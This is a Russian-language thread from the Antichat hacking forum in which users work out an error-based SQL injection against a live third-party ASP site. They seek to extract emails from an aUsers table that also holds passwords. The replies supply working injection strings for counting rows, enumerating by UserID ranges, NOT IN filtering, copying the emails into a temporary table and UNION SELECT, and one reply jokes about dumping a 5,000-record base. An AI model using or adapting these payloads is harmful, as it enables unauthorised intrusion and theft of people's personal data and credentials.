Форум АНТИЧАТ - Чтение данных с MsSql

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)

- - Чтение данных с MsSql (https://forum.antichat.xyz/showthread.php?t=62699)

Чтение данных с MsSql

Уважаемые Гуру, начал изучать не так давно mssql и столкнулся на одном, очень интересном для меня, ресурсе вот с такой бедой :

Прочитал из базы все таблицы и имена всех колонок из интересующих меня таблиц.

В результате имеем таблицу
aUsers и колонки в ней

Email
EventUser
LastLogon
LogOns
Name
Notes
Password
UserID
UserName

Попробывал прочитать интересующую меня колонку
Emai вот таким способом

Цитата:

1+or+1=(SELECT+TOP+1+email+from+aUsers)

Получил

Цитата:

ADODB.Parameter error '800a0d5d'

Application uses a value of the wrong type for the current operation.

/duich/events/List.asp, line 185

Перестроил запрос на вот так

Цитата:

1+or+1=(SELECT+TOP+1+email+from+INFORMATION_SCHEMA .COLUMNS+WHERE+TABLE_NAME='aUsers'+AND+COLUMN_NAME ='email')

Получил 1 мыло. Дальше пытался в конце добавить + where+userid={какое то значение}

получил синтаксическую ошибку. Я так понимаю что 2 раза where не катит. Хорошо сделал вот так

Цитата:

1+or+1=(SELECT+max(email)+from+aUsers)

Получал опять какое то мыло.

ВОПРОС!!! КАк можно просмотреть дальше список емайлов если

Цитата:

1+or+1=(SELECT+TOP+1+email+from+aUsers)

не работает.

Прошу прощения что так длинно все это описал. Хотел просто что бы вы видели мои действия.

З.Ы Хочу выразить отдельную благодарность Cash за его статью про MsSql. Спасибо огромное!!!!

SELECT ROW_NUMBER() OVER (ORDER BY email DESC) AS Row
WHERE Row >=1 AND Row <3
Перебирать...

Цитата:

<>
not in

удачи тебе слить так базу хотя бы в 5к =))

Цитата:

SELECT ROW_NUMBER() OVER (ORDER BY email DESC) AS Row
WHERE Row >=1 AND Row <3

Перебирать что??? будут выводить номера строк... я тебе из и так могу 1,2,3,4,5,6...
Не уверен что данная конструкция будет работать в иньекции.

Для начала
Определяем общее число записей.

Цитата:

1+or+1=(SELECT+count(*) +from+aUsers)--

далее определяем числовые приделы индексации, тоесть минимальный и максимальный
UserID

Цитата:

1+or+1=(SELECT+min(UserID) +from+aUsers)--
1+or+1=(SELECT+max(UserID) +from+aUsers)--

Далее оперевщись на эти данные выводим те промежутки которые нам надо:

Цитата:

1+or+1=(SELECT+TOP+1+email+from+aUsers+where+UserI D=>100)
1+or+1=(SELECT+TOP+1+email+from+aUsers+where+UserI D=<200)

Смотрим есть ли вывод, и делаем запросы уже на конкретные UserID.

Если нету числового поля идущего по примеру $i=1; $i++; то просто создаем таблицу и инстертим туда что нам надо делая при этом такую индексацию id которая нас бы устроила.

[ cash ]

Цитата:

<>
not in

Цитата:

удачи тебе слить так базу хотя бы в 5к =))

ну да, конечно, уему удобней создать новую таблицу)))

Цитата:

1+or+1=(SELECT+TOP+1+email+from+INFORMATION_SCHEMA .COLUMNS+WHERE+TABLE_NAME='aUsers'+AND+COLUMN_NAME ='email')

Получил 1 мыло. Дальше пытался в конце добавить + where+userid={какое то значение}

два where нигде не поддерживается

select blabla from blabla where q='1' and w='1' and ..

тоже считаю, что удобнее создать табличку с индексами, запихнуть туда нужные значения и вытаскивать их примерно как то так:

CREATE TABLE temp (
id INT( 6 ) NOT NULL AUTO_INCREMENT ,
email VARCHAR( 255 ) NOT NULL ,
INDEX ( id )
); insert temp (email) select email from aUsers;

сталкивался с такой проблеммой, один раз ооочень помогла конструкция union select но возможность использования этой конструкции зависит от везения